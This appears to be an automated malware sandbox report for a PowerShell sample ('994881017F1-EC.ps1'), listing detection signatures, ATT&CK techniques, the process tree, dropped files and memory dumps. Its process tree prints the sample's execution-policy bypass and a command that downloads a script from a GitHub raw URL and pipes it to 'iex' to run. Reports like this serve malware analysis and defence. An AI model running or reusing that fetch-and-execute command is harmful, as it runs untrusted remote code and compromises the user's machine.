Analysis
- max time kernel
148s - max time network
100s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
16/09/2026, 23:10
General
- Target 994881017F1-EC.ps1
- Size 93KB
- Sample260916-25wkjsfd57
- SHA256 db426b41d7f0e1c7d2696432471b273a1500f821ee4ca53dbc5f37530c2f1b6b
Malware Config
Signatures
- Badlisted process makes network request 4 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
- Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
Processes
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C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\994881017F1-EC.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yba02evd\yba02evd.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6BFF.tmp" "c:\Users\Admin\AppData\Local\Temp\yba02evd\CSC1EEED31749A486AB9E23B9533E8989D.TMP"3⤵
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ofasbivc\ofasbivc.cmdline"2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES6E02.tmp" "c:\Users\Admin\AppData\Local\Temp\ofasbivc\CSC1B1037E59D264F7E86C2BCF7D18D994.TMP"3⤵
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -Command [Net.ServicePointManager]::SecurityProtocol = [Net.ServicePointManager]::SecurityProtocol -bor [Net.SecurityProtocolType]::Tls12; irm raw.githubusercontent.com/19875567137/1267216556227698235249/refs/heads/main/1C93-ED126722352498F-4D1C | iex2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
ModuleAnalysisCache
RES6BFF.tmp
RES6E02.tmp
__PSScriptPolicyTest_iik4kujd.srn.ps1
ofasbivc.dll
yba02evd.dll
CSC1B1037E59D264F7E86C2BCF7D18D994.TMP
ofasbivc.0.cs
ofasbivc.cmdline
CSC1EEED31749A486AB9E23B9533E8989D.TMP
yba02evd.0.cs
yba02evd.cmdline
memory/4708-55-0x0000000005B40000-0x000000000618A000-memory.dmp
memory/4708-54-0x0000000003080000-0x00000000030B6000-memory.dmp
memory/4708-65-0x0000000006AF0000-0x0000000006B0A000-memory.dmp
memory/4708-64-0x0000000007EE0000-0x000000000855C000-memory.dmp
memory/4708-63-0x00000000065E0000-0x000000000662C000-memory.dmp
memory/4708-62-0x00000000065A0000-0x00000000065BE000-memory.dmp
memory/4708-61-0x0000000006190000-0x00000000064EB000-memory.dmp
memory/4708-57-0x0000000005860000-0x00000000058C6000-memory.dmp
memory/4708-58-0x00000000058D0000-0x0000000005936000-memory.dmp
memory/4708-56-0x00000000057C0000-0x00000000057E2000-memory.dmp
memory/5940-49-0x0000018264B30000-0x0000018264B3A000-memory.dmp
memory/5940-52-0x0000018264F90000-0x0000018264F96000-memory.dmp
memory/5940-42-0x0000018264990000-0x0000018264998000-memory.dmp
memory/5940-9-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-8-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-7-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-6-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-5-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-32-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-11-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-50-0x0000018264FB0000-0x0000018264FCC000-memory.dmp
memory/5940-51-0x0000018264B40000-0x0000018264B48000-memory.dmp
memory/5940-53-0x0000018264FA0000-0x0000018264FAA000-memory.dmp
memory/5940-45-0x0000018264B00000-0x0000018264B1E000-memory.dmp
memory/5940-48-0x0000018264B50000-0x0000018264B6E000-memory.dmp
memory/5940-0-0x00007FFA371CF000-0x00007FFA371D0000-memory.dmp
memory/5940-46-0x0000018264D80000-0x0000018264E32000-memory.dmp
memory/5940-47-0x0000018264B20000-0x0000018264B2A000-memory.dmp
memory/5940-4-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-27-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-31-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-10-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-26-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-25-0x000001824C400000-0x000001824C408000-memory.dmp
memory/5940-23-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-66-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-67-0x00007FFA37040000-0x00007FFA379E4000-memory.dmp
memory/5940-3-0x0000018264920000-0x0000018264942000-memory.dmp